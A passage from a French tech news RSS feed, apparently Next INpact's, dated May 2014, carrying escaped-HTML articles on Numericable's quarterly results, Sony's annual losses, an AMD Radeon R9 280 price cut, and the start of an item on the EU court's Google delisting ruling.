fibre&lt;/em&gt; &amp;raquo;.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Un ARPU tr&amp;egrave;s &amp;eacute;lev&amp;eacute;&lt;/h3&gt;
+&lt;p&gt;Concernant le revenu moyen par mois par abonn&amp;eacute;, qui n'a cess&amp;eacute; de baisser chez &lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;, Bouygues et &lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt; dans le secteur mobile, Numericable peut non seulement se vanter de disposer du niveau le plus &amp;eacute;lev&amp;eacute; du march&amp;eacute;, mais il est en plus en croissance.&amp;nbsp;En hausse de&amp;nbsp;2,7 %, il a en effet atteint 42,10 euros par client &amp;agrave; la fin du premier trimestre 2014. &amp;laquo;&lt;em&gt; La richesse de l'offre de contenus et les innovations r&amp;eacute;guli&amp;egrave;res d'usages et de services que propose Numericable Group participent &amp;agrave; cette progression de l'ARPU&lt;/em&gt; &amp;raquo; explique le c&amp;acirc;blo-op&amp;eacute;rateur.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146767.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146767.png" alt="Numericable Q1 2014" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;Agrave; titre de comparaison, le revenu moyen par abonn&amp;eacute; chez Free est de 36 euros dans le fixe et plus de 38 euros&amp;nbsp;pour les clients Freebox R&amp;eacute;volution. Nous ne connaissons par contre pas l'ARPU chez Free dans le mobile. Pour &lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;, nous disposons par contre des d&amp;eacute;tails. L'ARPU est ainsi de 33,6 euros dans le fixe (en baisse de 20 centimes) et de 24,1 euros dans le mobile, en fort recul. &lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt; affiche pour sa part un revenu moyen similaire (24,1 euros) dans le mobile,&amp;nbsp;contre 28,3 euros en 2012. Quant &amp;agrave; Bouygues, il ne pr&amp;eacute;cise pas son ARPU, mais avec ses r&amp;eacute;centes baisses de prix dans le fixe, il ne faut pas s'attendre &amp;agrave; des progressions. Ces chiffres prouvent surtout que si Numericable n'arrive pas &amp;agrave; attirer massivement des clients, la valeur de chacun d'entre eux est tr&amp;egrave;s &amp;eacute;lev&amp;eacute;e, un point capital pour les marges et donc les b&amp;eacute;n&amp;eacute;fices.&lt;/p&gt;
+&lt;h3&gt;Un b&amp;eacute;n&amp;eacute;fice net en forte hausse&lt;/h3&gt;
+&lt;p&gt;Son r&amp;eacute;sultat net, justement, a atteint au 31 mars 2014 la somme de 35 millions d'euros, soit une tr&amp;egrave;s belle hausse de 48,3 %. Une grande performance li&amp;eacute;e notamment &amp;agrave; la baisse de son ratio d'endettement. L'op&amp;eacute;rateur, gr&amp;acirc;ce &amp;agrave; son entr&amp;eacute;e en bourse il y a quelques mois ainsi qu'au refinancement d'une partie de sa dette, a ainsi r&amp;eacute;duit ses frais. &amp;laquo; &lt;em&gt;Le co&amp;ucirc;t de l'endettement net s'est &amp;eacute;lev&amp;eacute; au premier trimestre 2014 &amp;agrave; 40 millions d'euros en baisse de 19,5% par rapport au premier trimestre 2013&lt;/em&gt; &amp;raquo; indique-t-il. Tout ceci devrait&amp;nbsp;toutefois &amp;eacute;voluer fortement avec la co&amp;ucirc;teuse int&amp;eacute;gration de &lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; de son nombre de foyers raccord&amp;eacute;s &amp;agrave; la fibre optique, Numericable continue sa mont&amp;eacute;e en puissance en couvrant d&amp;eacute;sormais 5,405 millions de foyers, soit un peu plus de 200 000 nouveaux&amp;nbsp;logements en un an. Le&amp;nbsp;nombre de foyers couverts par le c&amp;acirc;ble est pour sa part de 8,561 millions, en&amp;nbsp;hausse de 50 000. Une donn&amp;eacute;e qui prouve que l'op&amp;eacute;rateur augmente&amp;nbsp;ses tentacules, m&amp;ecirc;me si la progression reste l&amp;agrave; encore limit&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces plus de 5,4 millions de logements fibr&amp;eacute;s&amp;nbsp;indiquent surtout que Numericable reste le roi du tr&amp;egrave;s haut d&amp;eacute;bit, puisqu'&lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;, qui domine les d&amp;eacute;bats en mati&amp;egrave;re de FTTH,&amp;nbsp;n'a raccord&amp;eacute; que&amp;nbsp;2,744 millions de foyers. Sa croissance est toutefois incomparable, puisque l'op&amp;eacute;rateur a rajout&amp;eacute; 877 000 logements en&amp;nbsp;un an. Avec un tel rythme, il pourrait ainsi rattraper Numericable&amp;nbsp;d'ici quelques ann&amp;eacute;es. Ce dernier indique n&amp;eacute;anmoins dans son bilan&amp;nbsp;qu'il&amp;nbsp;&amp;laquo; &lt;em&gt;confirme son objectif de 8,5 millions de foyers raccord&amp;eacute;s d'ici 2016&lt;/em&gt; &amp;raquo;, ce qui implique une forte acc&amp;eacute;l&amp;eacute;ration de son rythme de logements reli&amp;eacute;s &amp;agrave; la fibre lors des trois&amp;nbsp;prochaines ann&amp;eacute;es. L'op&amp;eacute;rateur confirme&amp;nbsp;d'ailleurs qu'il compte&amp;nbsp;relier&amp;nbsp;entre 700 000 et 800 000 nouveaux foyers d&amp;egrave;s cette ann&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les groupes Bouygues, Vivendi et Iliad d&amp;eacute;voileront leurs r&amp;eacute;sultats financiers du premier trimestre 2014 d&amp;egrave;s demain, ce qui nous permettra de faire un bilan complet des cinq grands op&amp;eacute;rateurs t&amp;eacute;l&amp;eacute;coms fran&amp;ccedil;ais.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 18:10:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87516.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87540-sony-a-perdu-plus-dun-milliard-dollars-an-dernier.htm</guid><link>http://www.nextinpact.com/news/87540-sony-a-perdu-plus-dun-milliard-dollars-an-dernier.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Finances</category><title>Sony a perdu plus d'un milliard de dollars l'an dernier</title><description>&lt;p class="actu_chapeau"&gt;C'est au tour de Sony de pr&amp;eacute;senter&lt;a href="http://www.sony.net/SonyInfo/IR/financial/fr/13q4_sony.pdf" target="_blank"&gt; des r&amp;eacute;sultats financiers &lt;/a&gt;concernant son dernier exercice fiscal en date ayant pris fin le 31 mars dernier. Pour la quatri&amp;egrave;me fois en cinq ans, le g&amp;eacute;ant nippon affiche des pertes et celles-ci sont plut&amp;ocirc;t importantes puisque la barre du milliard de dollars est nettement franchie.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146029.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146029.png" alt="Sony Vaio Fit" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Sony voit rouge &amp;agrave; cause de ses PC&lt;/h3&gt;
+&lt;p&gt;Alors que l'ann&amp;eacute;e ne se passait pas si mal que cela pour Sony, ses r&amp;eacute;sultats finaux pour l'exercice fiscal 2013 ont de quoi faire froid dans le dos, en tout cas &amp;agrave; premi&amp;egrave;re vue. Malgr&amp;eacute; une hausse de 14 % de son chiffre d'affaires, qui s'&amp;eacute;tablit d&amp;eacute;sormais &amp;agrave; 7 767 milliards de yens, soit 75,4 milliards de dollars, le g&amp;eacute;ant nippon de l'&amp;eacute;lectronique affiche de tr&amp;egrave;s importantes pertes : &lt;a href="http://www.sony.net/SonyInfo/IR/financial/fr/13q4_sonypre.pdf" target="_blank"&gt;128,4 milliards de yens&lt;/a&gt;, soit environ 1,25 milliard de dollars.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il n'y a pas besoin de chercher tr&amp;egrave;s loin quelle est la raison de ces r&amp;eacute;sultats, puisqu'il suffit de regarder du c&amp;ocirc;t&amp;eacute; de la branche&amp;nbsp;&amp;laquo; Mobile Products &amp;amp; Communications &amp;raquo; (MP&amp;amp;C) qui enregistre sur l'ann&amp;eacute;e une perte op&amp;eacute;rationnelle de 75 milliards de yens, soit 729 millions de dollars. Si Sony pr&amp;eacute;cise que la fabrication de t&amp;eacute;l&amp;eacute;phones portables reste b&amp;eacute;n&amp;eacute;ficiaire, c'est son activit&amp;eacute; sur le march&amp;eacute; des PC qui plombe compl&amp;egrave;tement cette branche.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En plus des pertes habituellement affich&amp;eacute;es par cette activit&amp;eacute; Sony a d&amp;ucirc; ajouter 45,5 milliards de yens (soit 442 millions de dollars) au titre des co&amp;ucirc;ts de restructuration et des frais engendr&amp;eacute;s par la vente. De quoi largement faire pencher le bilan du mauvais c&amp;ocirc;t&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;La branche jeux vid&amp;eacute;o progresse, mais affiche des pertes &amp;agrave; titre exceptionnel&lt;/h3&gt;
+&lt;p&gt;Si du c&amp;ocirc;t&amp;eacute; du chiffre d'affaires la branche&amp;nbsp;&amp;laquo; Game &amp;raquo; de Sony, regroupant toutes les activit&amp;eacute;s li&amp;eacute;es &amp;agrave; la marque PlayStation, mais &amp;eacute;galement aux jeux &amp;eacute;dit&amp;eacute;s par Sony Online Entertainement est en forte hausse (+38,5 % sur un an), le r&amp;eacute;sultat final n'est pas aussi glorieux qu'escompt&amp;eacute;. Le chiffre d'affaires de cette branche s'&amp;eacute;tablit &amp;agrave; 979 milliards de yens (9,5 milliards de dollars), pour une perte op&amp;eacute;rationnelle de 8,1 milliards de yens, soit 78 millions de dollars.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/133953.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-133953.png" alt="PlayStation 4 E3 2013" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Andrew House, lors de l'E3 2013&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le constructeur avance plusieurs explications pour justifier tout cela. D'abord, la hausse du chiffre d'affaires serait principalement due &amp;agrave; la hausse des ventes de jeux sur PS3, mais &amp;eacute;galement &amp;agrave; l'arriv&amp;eacute;e de la &lt;span data-affiliable="true" data-affkey="PS4"&gt;PS4&lt;/span&gt; sur le march&amp;eacute;. Cette derni&amp;egrave;re n'est d'ailleurs pas porteuse que de bonnes nouvelles, car plus ch&amp;egrave;re &amp;agrave; fabriquer elle est pour l'instant moins rentable pour la marque. Mais c'est surtout une d&amp;eacute;pr&amp;eacute;ciation de 6,2 millions de yens (60 millions de dollars) du c&amp;ocirc;t&amp;eacute; de Sony Online Entertainement qui fait pencher la balance du mauvais c&amp;ocirc;t&amp;eacute;. Sauf accident, les choses devraient donc rentrer dans l'ordre par ici d&amp;egrave;s l'exercice suivant.&lt;/p&gt;
+&lt;h3&gt;Les t&amp;eacute;l&amp;eacute;visions et les composants sont dans le rouge&lt;/h3&gt;
+&lt;p&gt;Deux autres branches de chez Sony affichent des pertes sur cet exercice. Comme l'an dernier, la fabrication de t&amp;eacute;l&amp;eacute;visions et de lecteurs Blu-ray voit rouge, malgr&amp;eacute; une hausse de 17,5 % du chiffre d'affaires, mais limite ses pertes. Si celles-ci &amp;eacute;taient de 84,3 milliards de yens l'an dernier, elles ne sont plus que de 25,5 milliards cette ann&amp;eacute;e, soit 248 millions de dollars. L'arriv&amp;eacute;e de t&amp;eacute;l&amp;eacute;viseurs LCD haut de gamme chez Sony a donc eu un impact favorable.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Concernant les composants, le chiffre d'affaires baisse de 6,4 %, &amp;agrave; 794 milliards de yens, soit 7,7 milliards de dollars. Une petite chute qui suffit &amp;agrave; transformer les 43 milliards de yens de b&amp;eacute;n&amp;eacute;fices enregistr&amp;eacute;s l'an pass&amp;eacute; en 13 milliards de yens de pertes aujourd'hui, soit 126 millions de dollars.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ici l'explication est &amp;agrave; chercher du c&amp;ocirc;t&amp;eacute; des ventes des puces fabriqu&amp;eacute;es par&amp;nbsp;&lt;a href="http://www.sony-lsi.co.jp/e/" target="_blank"&gt;Sony LSI&lt;/a&gt;, dont le fameux Cell qui &amp;eacute;quipe la PlayStation 3. Cela dit, le constructeur a limit&amp;eacute; les d&amp;eacute;g&amp;acirc;ts gr&amp;acirc;ce &amp;agrave; l'augmentation de la demande concernant ses capteurs d'images (photo et vid&amp;eacute;o), notamment pour les produits mobiles.&lt;/p&gt;
+&lt;h3&gt;La musique, l'audiovisuel et les services financiers restent dans le vert&lt;/h3&gt;
+&lt;p&gt;Enfin, il reste les trois secteurs d'activit&amp;eacute;s qui historiquement font office de machine &amp;agrave; g&amp;eacute;n&amp;eacute;rer du cash pour le g&amp;eacute;ant japonais : l'audiovisuel, la musique et les services financiers.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Concernant le premier d'entre eux, les revenus sont en hausse de 14 % sur un an, et Sony y affiche un b&amp;eacute;n&amp;eacute;fice op&amp;eacute;rationnel en hausse de 35 % &amp;agrave; hauteur de 487 millions de dollars. Une performance permise gr&amp;acirc;ce aux bonnes ventes r&amp;eacute;alis&amp;eacute;es par des albums tels que&amp;nbsp;&lt;em&gt;Random Access Memories&lt;/em&gt; des Daft Punk ou encore.... &lt;em&gt;Bangerz&lt;/em&gt; de Miley Cyrus et&amp;nbsp;&lt;em&gt;Midnight Memories&lt;/em&gt; du groupe One Direction.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146758.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146758.jpeg" alt="Daft Punk Credit James Whatley CC BY 2.0" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Le groupe Daft Punk. Cr&amp;eacute;dit&amp;nbsp;&lt;a class="external text" href="http://www.flickr.com/people/whatleydude/" rel="nofollow"&gt;James Whatley&lt;/a&gt;&amp;nbsp;&lt;a class="mw-mmv-license cc-license" href="http://creativecommons.org/licenses/by/2.0" target="_blank"&gt;CC BY 2.0&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; audiovisuel, malgr&amp;eacute; l'absence de blockbusters tels que &lt;em&gt;Skyfall&lt;/em&gt;, qui avait d&amp;eacute;pass&amp;eacute; le milliard de dollars au box-office, Sony s'en sort encore plut&amp;ocirc;t bien avec un b&amp;eacute;n&amp;eacute;fice op&amp;eacute;rationnel de 501 millions de dollars. C'est finalement le petit &amp;eacute;cran qui permet au groupe de faire mieux que l'an dernier, notamment gr&amp;acirc;ce &amp;agrave; des &amp;eacute;missions telles que la &lt;em&gt;Roue de la Fortune&lt;/em&gt;, ou encore les revenus g&amp;eacute;n&amp;eacute;r&amp;eacute;s en SVOD par la s&amp;eacute;rie&amp;nbsp;&lt;em&gt;Breaking Bad.&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, les services financiers de Sony sont comme &amp;agrave; leur habitude tr&amp;egrave;s largement b&amp;eacute;n&amp;eacute;ficiaire et ont d&amp;eacute;gag&amp;eacute; un b&amp;eacute;n&amp;eacute;fice op&amp;eacute;rationnel de 1,65 milliard de dollars, ce qui rester malheureusement insuffisant pour combler le reste.&lt;/p&gt;
+&lt;h3&gt;Vers une cinqui&amp;egrave;me&amp;nbsp;ann&amp;eacute;e de pertes en six&amp;nbsp;ans&lt;/h3&gt;
+&lt;p&gt;Enfin, le g&amp;eacute;ant japonais a d&amp;eacute;voil&amp;eacute; ses pr&amp;eacute;visions pour l'exercice fiscal se terminant le 31 mars 2015 et si celles-ci font &amp;eacute;tat&amp;nbsp;d'un meilleur cru que l'actuel, mais il n'est pas encore question d'un quelconque retour aux b&amp;eacute;n&amp;eacute;fices. Si l'ensemble des branches de l'entreprise devraient &amp;ecirc;tre capable d'afficher un b&amp;eacute;n&amp;eacute;fice op&amp;eacute;rationnel, une fois les taxes et divers frais d&amp;eacute;duits, il devrait &amp;ecirc;tre question de pertes gravitant autour de la barre des &amp;nbsp;50 milliards de yens, soit environ 490 millions de dollars.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146759.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146759.png" alt="Sony pr&amp;eacute;visions 2015" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146760.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146760.png" alt="Sony pr&amp;eacute;visions 2015" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cela &amp;eacute;tant, &amp;agrave; l'instar de Nintendo, Sony n'aura pas de difficult&amp;eacute;s &amp;agrave; encaisser ces pertes, la firme disposant de plus de 7 milliards de dollars de cash et d'autres &amp;eacute;quivalents, de quoi encore tenir quelques ann&amp;eacute;es &amp;agrave; ce rythme-l&amp;agrave;. Les investisseurs eux, sont plut&amp;ocirc;t sceptiques et ont sanctionn&amp;eacute; Sony en faisant chuter le cours de son action&amp;nbsp;&lt;a href="https://www.google.com/finance?cid=33095" target="_blank"&gt;de plus de 5 %&lt;/a&gt;. Cela valorise donc Sony a hauteur de 17,4 milliards de dollars. &amp;Agrave; titre de comparaison, la valorisation de &lt;a href="https://www.google.com/finance?q=OTCMKTS%3ANTDOY&amp;amp;ei=239zU4iGC6n3wAOomIHIDQ" target="_blank"&gt;Nintendo&lt;/a&gt;&amp;nbsp;est de 15,2 milliards, tandis que celle de &lt;a href="https://www.google.com/finance?q=OTCMKTS%3ATOSYY&amp;amp;ei=jH9zU5rjBsaMwAOAxIHYDQ" target="_blank"&gt;Toshiba &lt;/a&gt;de 16, 5 milliards.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 17:50:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87540.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87543-amd-baisse-prix-sa-radeon-r9-280-qui-se-trouve-a-partir-17990.htm</guid><link>http://www.nextinpact.com/news/87543-amd-baisse-prix-sa-radeon-r9-280-qui-se-trouve-a-partir-17990.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Carte graphique</category><title>AMD baisse le prix de sa Radeon R9 280, qui se trouve à partir de 179,90 €</title><description>&lt;p class="actu_chapeau"&gt;AMD vient d'annoncer une baisse de prix concernant la Radeon R9 280 qui passe&amp;nbsp;sous la barre des 200 euros, voire&amp;nbsp;&lt;a href="http://www.nextinpact.com/bon-plan/2837-une-radeon-r9-280-dual-x-oc-sapphire-pour-17990.htm" target="_blank"&gt;sous les 180 euros&lt;/a&gt;, alors qu'il &amp;eacute;tait question de 239 euros lors de son lancement. Un changement qui permet &amp;agrave; AMD de venir chasser sur les terres de la GeForce GTX 760.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/144815.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-144815.png" alt="Radeon R9 280 Sapphire" width="400" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Fin f&amp;eacute;vrier, AMD d&amp;eacute;voilait&amp;nbsp;sa&amp;nbsp;&amp;laquo; nouvelle &amp;raquo;&amp;nbsp;&lt;span data-affiliable="true" data-affkey="Radeon R9 280"&gt;Radeon R9 280&lt;/span&gt; qui n'&amp;eacute;tait en fait qu'une HD 7950 renomm&amp;eacute;e. Pour rappel, ce n'est pas la seule dans cette situation puisque c'est le cas de la grande majorit&amp;eacute; des R7 / R9, &amp;agrave; l'exception des&amp;nbsp;&lt;span data-affiliable="false" data-affkey="R9 290"&gt;R9 290&lt;/span&gt; et 290X. Pour rappel, nous avons r&amp;eacute;cemment&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/85832-radeon-r9-280-radeon-hd-7950-renommee-prevue-pour-25-fevrier.htm" target="_blank"&gt;fait le point des &amp;eacute;quivalences&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit, cette &lt;span data-affiliable="false" data-affkey="Radeon R9 280"&gt;&lt;span data-affiliable="false" data-affkey="Radeon R9 280"&gt;&lt;span data-affiliable="true" data-affkey="Radeon R9 280"&gt;Radeon R9 280&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &amp;eacute;tait d&amp;eacute;voil&amp;eacute;e fin&amp;nbsp;f&amp;eacute;vrier et les premiers mod&amp;egrave;les arrivaient dans le commerce dans le courant &lt;a href="http://www.nextinpact.com/news/85832-radeon-r9-280-radeon-hd-7950-renommee-prevue-pour-25-fevrier.htm" target="_blank"&gt;du mois de mars&lt;/a&gt;, pour un tarif recommand&amp;eacute; de 239 &amp;euro;.&amp;nbsp;Un prix&amp;nbsp;qui pouvait sembler &amp;eacute;lev&amp;eacute; compar&amp;eacute; &amp;agrave; la concurrence, mais le fait que la&amp;nbsp;Radeon HD 7950, et donc par extension la &lt;span data-affiliable="true" data-affkey="R9 280"&gt;R9 280&lt;/span&gt;, ait&amp;nbsp;bonne presse pour le minage des &lt;span data-affiliable="true" data-affkey="crypto-monnaies"&gt;crypto-monnaies&lt;/span&gt;,&amp;nbsp;combin&amp;eacute; avec&amp;nbsp;des stocks relativement faibles n'a&amp;nbsp;pas aid&amp;eacute; &amp;agrave; le faire descendre.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;N&amp;eacute;anmoins, les choses se sont am&amp;eacute;lior&amp;eacute;es au cours des derniers jours avec&amp;nbsp;des r&amp;eacute;ductions&amp;nbsp;sur plusieurs cartes de chez Sapphire, mais aussi de MSI par exemple. De son c&amp;ocirc;t&amp;eacute;, AMD officialise la situation avec une nouvelle liste de prix, ne comportant qu'une seule baisse. La &lt;a href="http://www.prixdunet.com/carte-graphique/?478=radeon-r9-280&amp;amp;order=rate_desc" target="_blank"&gt;&lt;span data-affiliable="true" data-affkey="Radeon R9 280"&gt;&lt;span data-affiliable="true" data-affkey="Radeon R9 280"&gt;Radeon R9 280&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;passe ainsi sous la barre des 200 &amp;euro;, ce qui vient donc la placer en face de la &lt;a href="http://www.prixdunet.com/carte-graphique/?478=geforce-gtx-760&amp;amp;order=rate_desc" target="_blank"&gt;GeForce GTX 760&lt;/a&gt;&amp;nbsp;de NVIDIA et pile entre les &lt;span data-affiliable="false" data-affkey="R9 270X"&gt;R9 270X&lt;/span&gt; et &lt;span data-affiliable="false" data-affkey="R9 280X"&gt;R9 280X&lt;/span&gt; que l'on&amp;nbsp;trouve&amp;nbsp;&amp;agrave; &lt;a class="aff-lnk" href="../goaff/032d68bb791b63e44ea16de9367933bd869da3f21bfc6562579fb7ce7d56646a" target="_blank" data-id="032d68bb791b63e44ea16de9367933bd869da3f21bfc6562579fb7ce7d56646a target="&gt;partir de 160 euros&lt;/a&gt;&amp;nbsp;et &lt;a class="aff-lnk" href="../goaff/6491ddb3f1dc13245e18cd36282e652af2c927fa7b59e0373dab58b6a48ae73e" target="_blank" data-id="6491ddb3f1dc13245e18cd36282e652af2c927fa7b59e0373dab58b6a48ae73e target="&gt;de 240 &amp;euro; environ&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]852550[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais certains comme Pixmania vont encore plus loin puisque, comme&amp;nbsp;vous pouvez le constater via nos&amp;nbsp;&lt;span data-affiliable="true" data-affkey="bons plans"&gt;bons plans&lt;/span&gt;, la &lt;span data-affiliable="false" data-affkey="R9 280"&gt;R9 280&lt;/span&gt; Dual X OC de Sapphire se trouve &amp;agrave; &lt;a href="http://www.nextinpact.com/bon-plan/2837-une-radeon-r9-280-dual-x-oc-sapphire-pour-17990.htm" target="_blank"&gt;moins de 180 euros&lt;/a&gt;, ce qui est relativement int&amp;eacute;ressant. De plus, elle permet de profiter de&amp;nbsp;l'&lt;a href="http://www.nextinpact.com/news/87151-amd-fait-revivre-son-programme-never-settle-avec-radeon-r7-et-r9.htm" target="_blank"&gt;offre Never Settle qui permet d'obtenir&amp;nbsp;trois jeux gratuits&lt;/a&gt;.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 17:30:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87543.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87535-droit-a-effacement-sur-google-arroseur-arrose-et-critiques-rsf.htm</guid><link>http://www.nextinpact.com/news/87535-droit-a-effacement-sur-google-arroseur-arrose-et-critiques-rsf.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Justice</category><title>Droit à l'effacement sur Google : l'arroseur arrosé et les critiques de RSF</title><description>&lt;p class="actu_chapeau"&gt;La&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/87519-interview-nimporte-quel-internaute-peut-etre-identifie-aujourdhui.htm" target="_blank"&gt;d&amp;eacute;cision de la Cour de justice&lt;/a&gt; de l&amp;rsquo;Union europ&amp;eacute;enne (CJUE) a &amp;eacute;t&amp;eacute; applaudie&lt;a href="http://www.nextinpact.com/news/87531-droit-au-dereferencement-dans-google-gouvernement-francais-applaudit.htm" target="_blank"&gt; par le gouvernement fran&amp;ccedil;ais&lt;/a&gt;. Du c&amp;ocirc;t&amp;eacute; de Reporters sans fronti&amp;egrave;re, c&amp;rsquo;est la soupe &amp;agrave; la grimace&amp;nbsp;: on reproche apr&amp;egrave;s cet arr&amp;ecirc;t, l&amp;rsquo;av&amp;egrave;nement d'un &amp;laquo; &lt;em&gt;monde d'information totalement maitris&amp;eacute;e. &lt;/em&gt;&amp;raquo;&lt;/p&gt;&lt;p&gt;&lt;a href="http://static.pcinpact.com/images/bd/news/146761.jpeg" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146761.jpeg" alt="Google Mario" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Doit-on regretter l&amp;rsquo;arr&amp;ecirc;t de la CJUE rendu hier&amp;nbsp;? La Cour de Luxembourg autorise d&amp;eacute;sormais un particulier &amp;agrave; r&amp;eacute;clamer de Google le retrait d&amp;rsquo;une information p&amp;eacute;rim&amp;eacute;e qui porte atteinte &amp;agrave; sa vie priv&amp;eacute;e. En l&amp;rsquo;occurrence, le moteur am&amp;eacute;ricain r&amp;eacute;f&amp;eacute;ren&amp;ccedil;ait deux articles vieux de 16 ans de la presse espagnole qui relatait la situation financi&amp;egrave;re d&amp;rsquo;un particulier. En fait, une publication l&amp;eacute;gale sur la mise en ench&amp;egrave;res de ses biens pour cause de dette avec la s&amp;eacute;curit&amp;eacute; sociale.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
